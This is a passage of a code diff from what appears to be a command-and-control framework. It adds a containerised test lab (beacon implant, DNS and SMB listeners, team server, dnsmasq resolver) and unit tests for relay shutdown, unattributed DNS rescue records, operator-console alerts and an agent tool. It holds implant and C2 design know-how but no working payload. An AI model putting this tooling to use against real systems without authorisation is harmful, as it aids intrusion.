["CMD", "bash", "-c", "exec 3<>/dev/tcp/127.0.0.1/53"] + interval: 1s + timeout: 3s + retries: 30 + networks: + beacon-net: + # dnsmasq's server=/zone/addr#port takes an IP, and it parses its + # config before it could resolve anything, so Docker's embedded + # DNS cannot help. Both addresses are fixed for that reason. + ipv4_address: 192.0.2.53 + + # ── Listeners ── + # + # The artefact the project ships, built from the shipped Dockerfile and + # given the shipped posture and flags (test_e2e_lab compares them). What + # differs is where the relay is: a service name on relay-net, because + # this is a compose network and there is no host-gateway to go through. + # Each is on beacon-net *and* relay-net. That is the whole point of a + # listener: it is the one thing that bridges. + listener-dns: + build: + context: ../../.. + dockerfile: software/c2/listeners/Dockerfile + image: raccoon-lab-listener + user: "65534:65534" + read_only: true + cap_drop: [ALL] + security_opt: ["no-new-privileges:true"] + environment: + # Distinct from the server's variable so a scenario can make them + # differ: that is how the listener comes to hold a token the server + # no longer accepts. + - RACCOON_LISTENER_TOKEN=${LAB_DNS_LISTENER_TOKEN:-lab-listener-token} + command: > + --transport dns --name dns-53 + --bind-host 0.0.0.0 --bind-port 8053 + --setting zone=c2.lab + --relay-url http://teamserver:8443 + networks: + beacon-net: + ipv4_address: 192.0.2.10 + relay-net: + + # Behind a profile because only the smb-up scenario wants it. In the + # others SMB has to be unreachable, and a listener that merely nobody + # points at would be a lab one edit away from reaching it. + listener-smb: + profiles: ["smb"] + build: + context: ../../.. + dockerfile: software/c2/listeners/Dockerfile + image: raccoon-lab-listener + user: "65534:65534" + read_only: true + cap_drop: [ALL] + security_opt: ["no-new-privileges:true"] + command: > + --transport smb --name smb-445 + --bind-host 0.0.0.0 --bind-port 8445 + --relay-url http://teamserver:8443/api/v1/beacon + networks: + - beacon-net + - relay-net + + # The implant, as a container, so that the network it sees is the + # container's and severing it is real. Started on c2-net as well: a beacon + # that has never registered fingerprints its implant id, which matches + # nothing, so the life-cycle is register for real, *then* be cut off. + # The driver does the cutting: `docker network disconnect c2-net`. + beacon: + build: + context: . + dockerfile: beacon.Dockerfile + image: raccoon-lab-beacon + # No restart: a beacon that finishes its stuck cycles has done its job, + # and one that came back would run a second scenario into the first. + restart: "no" + volumes: + - ../../..:/src:ro + working_dir: /src + depends_on: + teamserver: + condition: service_healthy + resolver: + condition: service_healthy + listener-dns: + condition: service_started + environment: + - PYTHONPATH=/src + - PYTHONDONTWRITEBYTECODE=1 + - PYTHONUNBUFFERED=1 + - RACCOON_KEY=${RACCOON_KEY:-} + # What beacon_entry.py reaches. The hosts are service names fixed in + # the script; the ports are here so there is one place to read them. + - LAB_BEACON_PORT=8443 + - LAB_SMB_PORT=8445 + - LAB_QUIC_PORT=8445 + command: > + python software/tests/lab/beacon_entry.py + --scenario ${LAB_SCENARIO:-rescue} + --zone c2.lab + --cycles ${LAB_CYCLES:-4} + networks: + - beacon-net + - c2-net + +networks: + # Carries the beacon, the resolver and the listeners' public side, and + # nothing that holds a team server's address. Internal: nothing in the + # lab has a reason to reach the internet, and a network that cannot is + # one less way for a run to depend on where it ran. + beacon-net: + internal: true + ipam: + config: + # TEST-NET-1 (RFC 5737): reserved for documentation, so it can + # never collide with a real network a developer or a CI runner is + # on, and no Docker default pool will hand it out. + - subnet: 192.0.2.0/24 + # Joins each listener to the team server's beacon socket. A listener + # needs it; the beacon must never be on it. + relay-net: + internal: true + # The operator socket, and where the beacon registers before it is cut + # off. Not internal: a published port needs a network that is not. + c2-net: diff --git a/software/tests/lab/resolver.Dockerfile b/software/tests/lab/resolver.Dockerfile new file mode 100644 index 0000000..78d8065 --- /dev/null +++ b/software/tests/lab/resolver.Dockerfile @@ -0,0 +1,15 @@ +# The lab's recursive resolver: dnsmasq and nothing else. No project source +# and no Python -- it is a real resolver in the path, which is the point. +# The configuration is mounted at run time (docker-compose.yml), so editing +# it needs no rebuild. +FROM debian:stable-slim + +RUN apt-get update \ + && apt-get install -y --no-install-recommends dnsmasq \ + && rm -rf /var/lib/apt/lists/* \ + && mkdir -p /var/log/dnsmasq + +# Foreground, so the container lives as long as the resolver does and +# compose can tell when it died. dnsmasq starts as root to bind 53 and open +# the log file, then drops to its own user. +ENTRYPOINT ["dnsmasq", "--keep-in-foreground", "--conf-file=/etc/lab/dnsmasq.conf"] diff --git a/software/tests/lab/resolver.conf b/software/tests/lab/resolver.conf new file mode 100644 index 0000000..7356da4 --- /dev/null +++ b/software/tests/lab/resolver.conf @@ -0,0 +1,25 @@ +# The lab's resolver. Mounted read-only into the resolver container; the +# driver prints this file when a run fails, so it is the whole effective +# configuration and nothing is rendered on top of it. + +# Forward the zone, and only the zone, to the DNS listener. An IP and not a +# hostname: dnsmasq parses this before it could resolve anything. The +# address and port are listener-dns's in docker-compose.yml, and +# test_e2e_lab fails if they drift apart. +server=/c2.lab/192.0.2.10#8053 + +# Answer nothing from anywhere else. Every other name is refused rather +# than forwarded, so a query in the log is one the beacon really sent and +# the lab cannot reach a resolver it was not given. +no-resolv +no-hosts + +# What the driver asserts on: the query log, in a file because it is read +# with `docker exec` and a stream on stderr would be mixed with dnsmasq's +# own startup lines. A name only appears here if a real resolver parsed it. +log-queries +log-facility=/var/log/dnsmasq/queries.log + +# cache-size is deliberately left at dnsmasq's default. The listener +# answers with TTL 1, and a rescue that a cache served twice would be a +# defect worth catching; turning the cache off would hide it. diff --git a/software/tests/lab/teamserver.Dockerfile b/software/tests/lab/teamserver.Dockerfile new file mode 100644 index 0000000..f0b2d1b --- /dev/null +++ b/software/tests/lab/teamserver.Dockerfile @@ -0,0 +1,15 @@ +# The lab's team server: what `software.c2.server` imports, and nothing +# else. Measured sufficient -- the module imports with flask and +# cryptography alone, because impacket is only reached from the code paths +# that run a relay or an SMB tool. +# +# Deliberately not software/c2/Dockerfile. That image carries gcc, nmap, a +# graphical RDP client, a VNC viewer, pipx-installed NetExec and two cloned +# tools, and its build takes many minutes. The lab proves the code; the +# shipped image's packaging is what a flag on the driver selects. +# +# No source here. It arrives by read-only bind mount of the repository, so +# the lab runs the working tree. +FROM python:3.12-slim + +RUN pip install --no-cache-dir flask cryptography diff --git a/software/tests/test_beacon.py b/software/tests/test_beacon.py index 4813e8c..a562ebf 100644 --- a/software/tests/test_beacon.py +++ b/software/tests/test_beacon.py @@ -897,6 +897,40 @@ def test_stop_closes_listener(self): with self.assertRaises((ConnectionRefusedError, OSError)): socket.create_connection(("127.0.0.1", port), timeout=2).close() + def test_stop_shuts_the_listener_down_before_closing_it(self): + # Closing a descriptor another thread is blocked in accept() on is + # undefined in POSIX: macOS wakes the accept, Linux leaves the socket + # bound and ACCEPTING until it returns. So on Linux the operator + # stops the relay and the target keeps an open port. shutdown() + # wakes a blocked accept on Linux (on macOS it raises ENOTCONN on a + # listener and close() does the waking); close() alone does not. + # + # A recording proxy on `relay._server`, not a monkeypatch on the + # socket: socket objects use __slots__ and reject attribute + # assignment (measured), and this way the test pins the ORDER, which + # is the whole property -- shutdown after close would fix nothing. + class _Recorder: + def __init__(self, inner): + self._inner, self.calls = inner, [] + + def shutdown(self, how): + self.calls.append("shutdown") + return self._inner.shutdown(how) + + def close(self): + self.calls.append("close") + return self._inner.close() + + def __getattr__(self, name): + return getattr(self._inner, name) + + relay = self._setup() + recorder = _Recorder(relay._server) + relay._server = recorder + relay.stop() + self.relay = None + self.assertEqual(recorder.calls, ["shutdown", "close"]) + class TestBeaconNtlmWiring(unittest.TestCase): def _ntlm_config(self, **ntlm): diff --git a/software/tests/test_dns_rescue.py b/software/tests/test_dns_rescue.py index ba428ff..9584ed1 100644 --- a/software/tests/test_dns_rescue.py +++ b/software/tests/test_dns_rescue.py @@ -19,8 +19,10 @@ import json import math import os +import shutil import socket import struct +import subprocess import sys import unittest import unittest.mock @@ -1436,6 +1438,215 @@ def test_a_rescue_routes_through_the_action_dispatch_by_its_key(self): self.assertIn("WRAPPER_KEY", src) +class TestARescueNobodyCanClaim(unittest.TestCase): + """The diagnosis of the beacon that never registered, made visible. + + It used to be appended to a list nothing read: received, decrypted and + decoded, then discarded into memory. Every record here is built by the + real path -- the beacon's own `_encrypt`, POSTed to `/` -- rather than + appended to the list. + """ + + TOKEN = "operator-token" + + def setUp(self): + import tempfile + + from software.c2 import server as server_mod + + self.server_mod = server_mod + self.crypto = server_mod.ServerCrypto(_KEY) + tmp = tempfile.TemporaryDirectory() + self.addCleanup(tmp.cleanup) + self.app = server_mod.create_app(self.crypto, self.TOKEN, + pathlib_Path(tmp.name)) + self.beacon = _a_beacon() + server_mod.agents.clear() + self.addCleanup(server_mod.agents.clear) + del server_mod.unattributed_rescues[:] + self.addCleanup(server_mod.unattributed_rescues.clear) + before = len(server_mod.event_log) + self.addCleanup(lambda: server_mod.event_log.__delitem__( + slice(before, None))) + self._first_new_log = before + + def _auth(self): + return {"Authorization": "Bearer %s" % self.TOKEN} + + def _send(self, agent="a-box-that-never-registered", status=407, + fingerprint=None): + raw = dns_rescue.pack( + {"https": (dns_rescue.CLASSES["http_status"], status), + "dns": (dns_rescue.CLASSES["answered"], 0)}, + dns_rescue.FLAG_DNS_ANSWERED, + dns_rescue.fingerprint(agent) if fingerprint is None + else fingerprint) + blob = self.beacon._encrypt( + {dns_rescue.WRAPPER_KEY: base64.b64encode(raw).decode()}) + with self.app.test_client() as client: + response = client.post("/", json={"cipher_text": blob}) + self.assertEqual(response.status_code, 200) + + def _served(self, client=None, **kw): + client = client or self.app.test_client() + return client.get("/api/rescues/unattributed", + headers=self._auth(), **kw) + + def _rescue_log(self): + return [e for e in self.server_mod.event_log[self._first_new_log:] + if e["cat"] == "RESCUE"] + + def test_an_unattributed_rescue_is_logged_so_it_is_not_silent(self): + # It used to be appended to a list nothing read: decoded, stored and + # discarded. The beacon that cannot be attributed is the one most + # likely to be stuck, because never registering means the way out + # was never open. + self._send(status=407) + entries = self._rescue_log() + self.assertEqual(len(entries), 1) + self.assertIn("407", entries[0]["msg"]) + self.assertIn("HTTPS", entries[0]["msg"]) + self.assertIn("%04x" % dns_rescue.fingerprint( + "a-box-that-never-registered"), entries[0]["msg"]) + + def test_an_attributed_rescue_is_not_logged_as_unclaimed(self): + self.server_mod.agents["clumsy-raccoon"] = { + "id": "implant-1", "hostname": "h", "last_seen": "now", + "caps": []} + self._send(agent="clumsy-raccoon") + self.assertEqual(self._rescue_log(), []) + self.assertEqual(self._served().get_json(), {"unattributed": []}) + + def test_the_route_returns_it_newest_first(self): + self._send(agent="first", status=401) + self._send(agent="second", status=402) + self._send(agent="third", status=403) + response = self._served() + self.assertEqual(response.status_code, 200) + records = response.get_json()["unattributed"] + self.assertEqual([r["fingerprint"] for r in records], + [dns_rescue.fingerprint(a) + for a in ("third", "second", "first")]) + self.assertIn("403", records[0]["summary"]) + for record in records: + for key in ("summary", "dns_answered", "fingerprint", "at", + "https", "dns", "smb", "quic"): + self.assertIn(key, record) + self.assertEqual(records[0]["https"], ["http_status", 403]) + + def test_the_route_is_empty_when_nothing_has_been_received(self): + self.assertEqual(self._served().get_json(), {"unattributed": []}) + + def test_premise_a_get_to_an_unrouted_path_is_405(self): + # A premise, not a feature. The agent tool's degradation against an + # older team server rests on what such a server answers to GET + # /api/rescues/unattributed: 405, because its catch-all + # / accepts only POST, so a GET to an unrouted path is + # a method error. `C2Client._request` tolerates only 404 as + # "missing", which is why the tool has to absorb the 405 itself, + # and why the client's docstring says what it says. If someone adds + # a GET catch-all, the handling still works (every non-2xx raises) + # but that rationale quietly stops being true; this test must break + # first. The path is one no route will ever claim. + client = self.app.test_client() + for headers in ({}, self._auth()): + with self.subTest(authenticated=bool(headers)): + response = client.get( + "/never-a-route-405-premise/x", headers=headers) + self.assertEqual(response.status_code, 405) + + def test_the_route_needs_the_operator_token(self): + self._send() + client = self.app.test_client() + self.assertEqual( + client.get("/api/rescues/unattributed").status_code, 401) + wrong = client.get("/api/rescues/unattributed", + headers={"Authorization": "Bearer nope"}) + self.assertEqual(wrong.status_code, 401) + self.assertNotIn(b"summary", wrong.data) + + def test_the_route_is_not_on_the_agent_socket(self): + # Same policy as every other /api/ route: a request judged by the + # socket it arrived on, refused with the catch-all's own answer. + import tempfile + + self._send() + with tempfile.TemporaryDirectory() as tmp: + split = self.server_mod.create_app( + self.crypto, self.TOKEN, pathlib_Path(tmp), + operator_port=8444) + client = split.test_client() + cover = client.post("/", json={"not": "a beacon"}, + environ_overrides={"SERVER_PORT": "9444"}) + refused = client.get("/api/rescues/unattributed", + headers=self._auth(), + environ_overrides={"SERVER_PORT": "9444"}) + self.assertEqual((refused.status_code, refused.data), + (cover.status_code, cover.data)) + self.assertNotIn(b"unattributed", refused.data) + served = client.get("/api/rescues/unattributed", + headers=self._auth(), + environ_overrides={"SERVER_PORT": "8444"}) + self.assertEqual(served.status_code, 200) + self.assertEqual(len(served.get_json()["unattributed"]), 1) + + def test_a_rescue_for_a_deleted_agent_is_reported_not_dropped(self): + # Review Focus 3. Attribution matches the live fleet, so a record + # for an agent the operator has removed lands here. + agent = "clumsy-raccoon" + self.server_mod.agents[agent] = { + "id": "implant-1", "hostname": "h", "last_seen": "now", + "caps": []} + self._send(agent=agent) + self.assertIn("stuck", self.server_mod.agents[agent]) + self.assertEqual(self._served().get_json(), {"unattributed": []}) + + del self.server_mod.agents[agent] + self._send(agent=agent, status=503) + records = self._served().get_json()["unattributed"] + self.assertEqual(len(records), 1) + self.assertEqual(records[0]["fingerprint"], + dns_rescue.fingerprint(agent)) + self.assertIn("503", records[0]["summary"]) + self.assertEqual(len(self._rescue_log()), 1) + + def test_nothing_in_the_record_is_treated_as_an_agent_id(self): + # Review Focus 3. The record carries a 2-byte fingerprint and leg + # codes. No string from the target can reach it, and the route must + # not invent an id from the fingerprint. + fp = dns_rescue.fingerprint("a-box-that-never-registered") + lookalikes = ("%04x" % fp, "%d" % fp, "0x%04x" % fp) + for name in lookalikes: + self.server_mod.agents[name] = { + "id": "impl-" + name, "hostname": "h", "last_seen": "now", + "caps": []} + self._send() + record = self._served().get_json()["unattributed"][0] + for key in ("agent_id", "agent", "id", "name"): + self.assertNotIn(key, record) + self.assertEqual(sorted(k for k, v in record.items() + if isinstance(v, str)), ["at", "summary"]) + self.assertEqual(self._rescue_log()[0]["agent"], "") + for name in lookalikes: + self.assertNotIn("stuck", self.server_mod.agents[name]) + self.assertEqual(set(self.server_mod.agents), set(lookalikes)) + with self.app.test_client() as client: + for name in lookalikes: + logs = client.get("/api/logs/agent/" + name, + headers=self._auth()).get_json() + self.assertEqual(logs, []) + + def test_the_list_stays_capped(self): + # Review Focus 2's other half: 51 records leave 50. + cap = self.server_mod._RESCUE_UNATTRIBUTED_MAX + for n in range(cap + 1): + self._send(fingerprint=n) + records = self._served().get_json()["unattributed"] + self.assertEqual(len(records), cap) + self.assertEqual(records[0]["fingerprint"], cap) + self.assertEqual(records[-1]["fingerprint"], 1) + + def _operator_script(cache={}): """The inline JS of the operator GUI, with literal text removed. @@ -1603,19 +1814,230 @@ def test_a_dead_resolver_is_called_out(self): self.assertIn("nothing can leave", self.src[i:i + 400]) +_RESCUE_ROUTE = "/api/rescues/unattributed" + + +def _the_function_that_polls_rescues(): + """(name, source) of the operator-console function that asks the route. + + Found by what it does -- it is the one function that requests the + route -- not by a name chosen here, so a rename cannot make the + tests below vacuous and they never assert their own spelling. + """ + import re + + from software.c2 import server as server_mod + + html = server_mod._OPERATOR_HTML + if _RESCUE_ROUTE not in html: + raise AssertionError("the operator console never asks for %s, so " + "nothing tells the operator" % _RESCUE_ROUTE) + at = html.index(_RESCUE_ROUTE) + starts = list(re.finditer(r"(?:async\s+)?function\s+([A-Za-z_$][\w$]*)" + r"\s*\([^)]*\)\s*\{", html[:at])) + start = starts[-1] + depth, i = 1, start.end() + while depth: + depth += {"{": 1, "}": -1}.get(html[i], 0) + i += 1 + return start.group(1), html[start.start():i] + + +class TestTheOperatorIsToldAboutRescuesNobodyCanClaim(unittest.TestCase): + """The drawer is a place you have to open; the console should speak up. + + Source-level for what can be read off the page (that the name called + is defined where it is called -- the defect this feature already + shipped once), and run under node for what cannot (that a record is + announced once, not on every tick). + """ + + def test_the_poll_is_started_beside_the_agent_poll(self): + import re + + from software.c2 import server as server_mod + + name, _ = _the_function_that_polls_rescues() + html = server_mod._OPERATOR_HTML + self.assertRegex(html, r"setInterval\(%s\s*,\s*\d+\)" % re.escape(name)) + self.assertRegex(html, r"setInterval\(refreshAgents\s*,\s*\d+\)") + + def test_the_notification_escapes_with_a_helper_that_exists(self): + # The rule this feature's worst defect earned: escHtml(...) was an + # invented spelling, the operator console calls its escaper `esc`, + # and the whole agent panel threw and rendered nothing. So: every + # function the poll calls must be one this page defines. + import re + + _, source = _the_function_that_polls_rescues() + code = _strip_js_literals(source) + called = set(re.findall(r"(? { + const counts = []; + for(let i = 0; i < polls.length; i++){ await %s(); counts.push(toasts.length); } + console.log(JSON.stringify({counts, toasts, seen_paths})); +})().catch(e => { console.error(e.stack); process.exit(1); }); +""" % (json.dumps(polls), state, esc, source, name) + done = subprocess.run(["node", "-e", script], capture_output=True, + text=True, timeout=30) + self.assertEqual(done.returncode, 0, done.stderr) + return json.loads(done.stdout) + + @staticmethod + def _rec(fingerprint=1234, at="2026-01-01T00:00:00Z", + summary="HTTPS: wanted authentication (407)"): + return {"summary": summary, "dns_answered": True, + "fingerprint": fingerprint, "at": at, + "https": ["auth_required", 407]} + + def _unattributed(self, *records): + return {"unattributed": list(records)} + + @unittest.skipUnless(shutil.which("node"), "node is not installed") + def test_a_record_is_announced_once_with_a_warning(self): + got = self._run([self._unattributed(self._rec())]) + self.assertEqual(got["seen_paths"], [_RESCUE_ROUTE]) + self.assertEqual(len(got["toasts"]), 1) + self.assertEqual(got["toasts"][0]["type"], "warning") + self.assertIn("407", got["toasts"][0]["msg"]) + self.assertIn("%04x" % 1234, got["toasts"][0]["msg"]) + + @unittest.skipUnless(shutil.which("node"), "node is not installed") + def test_a_record_already_seen_raises_no_second_notification(self): + # The list is capped at 50 and never cleared, so a poll that + # announces everything it is given re-fires every record on every + # tick. One record three times, then one new record at the front. + old = self._rec(fingerprint=1, at="2026-01-01T00:00:01Z") + new = self._rec(fingerprint=3, at="2026-01-01T00:00:02Z") + same = self._unattributed(old) + got = self._run([same, same, same, self._unattributed(new, old)]) + self.assertEqual(got["counts"], [1, 1, 1, 2]) + + @unittest.skipUnless(shutil.which("node"), "node is not installed") + def test_two_records_are_told_apart_by_beacon_and_by_time(self): + # The key is per record: the same beacon stuck again later is news, + # and two beacons stuck in the same second are two beacons. + a = self._rec(fingerprint=7, at="2026-01-01T00:00:00Z") + later = self._rec(fingerprint=7, at="2026-01-01T00:00:09Z") + other = self._rec(fingerprint=8, at="2026-01-01T00:00:09Z") + got = self._run([self._unattributed(a), + self._unattributed(later, a), + self._unattributed(other, later, a)]) + self.assertEqual(got["counts"], [1, 2, 3]) + + @unittest.skipUnless(shutil.which("node"), "node is not installed") + def test_several_unseen_records_in_one_poll_raise_one_notification(self): + # One rule, not a special case for the first load: a console opened + # on a server that has been up for a week meets up to 50 records at + # once, and so does a burst. toast() shows the element and files it + # in the panel in one call, so there is no per-record route into the + # panel without new plumbing; one notification says how many. + records = [self._rec(fingerprint=n, at="2026-01-01T00:00:%02dZ" % n, + summary="leg %d is stuck" % n) + for n in (9, 8, 7, 6, 5)] + got = self._run([self._unattributed(*records)]) + self.assertEqual(len(got["toasts"]), 1, got["toasts"]) + note = got["toasts"][0] + self.assertEqual(note["type"], "warning") + text = note["title"] + " " + note["msg"] + self.assertIn(str(len(records)), text) + self.assertRegex(text, r"(?i)match no agent|nobody can claim|unclaim") + # It counts them; it does not pretend to name them. + for n in range(5, 10): + self.assertNotIn("leg %d" % n, text) + self.assertNotIn("%04x" % n, text) + + @unittest.skipUnless(shutil.which("node"), "node is not installed") + def test_a_batch_is_not_announced_again_one_by_one(self): + # Records folded into a batch are still *seen*: the next tick must + # not re-raise them singly, and a later arrival is announced alone. + batch = [self._rec(fingerprint=n, at="2026-01-01T00:00:%02dZ" % n) + for n in (3, 2, 1)] + later = self._rec(fingerprint=4, at="2026-01-01T00:00:04Z") + got = self._run([self._unattributed(*batch), + self._unattributed(*batch), + self._unattributed(later, *batch)]) + self.assertEqual(got["counts"], [1, 1, 2]) + self.assertIn("%04x" % 4, got["toasts"][1]["msg"]) + + @unittest.skipUnless(shutil.which("node"), "node is not installed") + def test_what_a_target_sent_is_escaped_in_the_notification(self): + got = self._run([self._unattributed( + self._rec(summary=""))]) + msg = got["toasts"][0]["msg"] + self.assertNotIn(" accepts only POST, so a GET to an unrouted path is a + # method error. The client treats only 404 as "missing", so this + # arrives as a C2Unavailable and the tool has to absorb it. + got = self._tool_over_the_real_client(405)() + self.assertEqual(len(got["stuck"]), 1) + self.assertNotIn("unattributed", got) + self.assertNotIn("error", got) + + def test_the_tool_still_works_against_a_server_without_the_route_404(self): + got = self._tool_over_the_real_client(404)() + self.assertEqual(len(got["stuck"]), 1) + self.assertNotIn("unattributed", got) + + def test_the_tool_still_works_when_the_route_fails_outright(self): + got = self._tool_over_the_real_client(500)() + self.assertEqual(len(got["stuck"]), 1) + self.assertNotIn("unattributed", got) + + def test_a_failed_fetch_omits_the_key_rather_than_emptying_it(self): + # Present and empty means "I asked, there are none"; absent means + # "I could not ask". Emptying it would make the two the same. + asked = self._tool(_StuckC2({}), "get_stuck_beacons")() + self.assertEqual(asked["unattributed"], []) + could_not = self._tool_over_the_real_client(405)() + self.assertNotIn("unattributed", could_not) + + def test_a_rejected_token_on_that_route_also_omits_the_key(self): + from software.agent import c2client + + class Rejected(_StuckC2): + async def unattributed_rescues(self): + raise c2client.C2Unauthorized("no") + + got = self._tool(Rejected({"b1": _stuck_agent()}), + "get_stuck_beacons")() + self.assertEqual(len(got["stuck"]), 1) + self.assertNotIn("unattributed", got) + + def test_a_programming_error_in_that_call_is_not_swallowed(self): + # Only the client's own failures degrade. Anything else is a bug + # and must surface, not read as "no unattributed rescues". + class Buggy(_StuckC2): + async def unattributed_rescues(self): + raise KeyError("a bug") + + with self.assertRaises(KeyError): + self._tool(Buggy({}), "get_stuck_beacons")() + + def test_an_entry_carries_the_fingerprint_as_the_server_logs_it(self): + c2 = _StuckC2({}, unattributed=[_unattributed_record(fingerprint=0xBEE)]) + entry = self._tool(c2, "get_stuck_beacons")()["unattributed"][0] + self.assertEqual(entry["fingerprint"], "0bee") + + def test_repeats_from_one_beacon_share_a_fingerprint(self): + c2 = _StuckC2({}, unattributed=[ + _unattributed_record(fingerprint=7, at="t1"), + _unattributed_record(fingerprint=7, at="t2"), + _unattributed_record(fingerprint=9, at="t3")]) + got = self._tool(c2, "get_stuck_beacons")()["unattributed"] + self.assertEqual([e["fingerprint"] for e in got], + ["0007", "0007", "0009"]) + + def test_a_fingerprint_that_is_not_two_bytes_is_not_passed_through(self): + # Whatever the server sent, only a two-byte number is rendered. + for bad in ("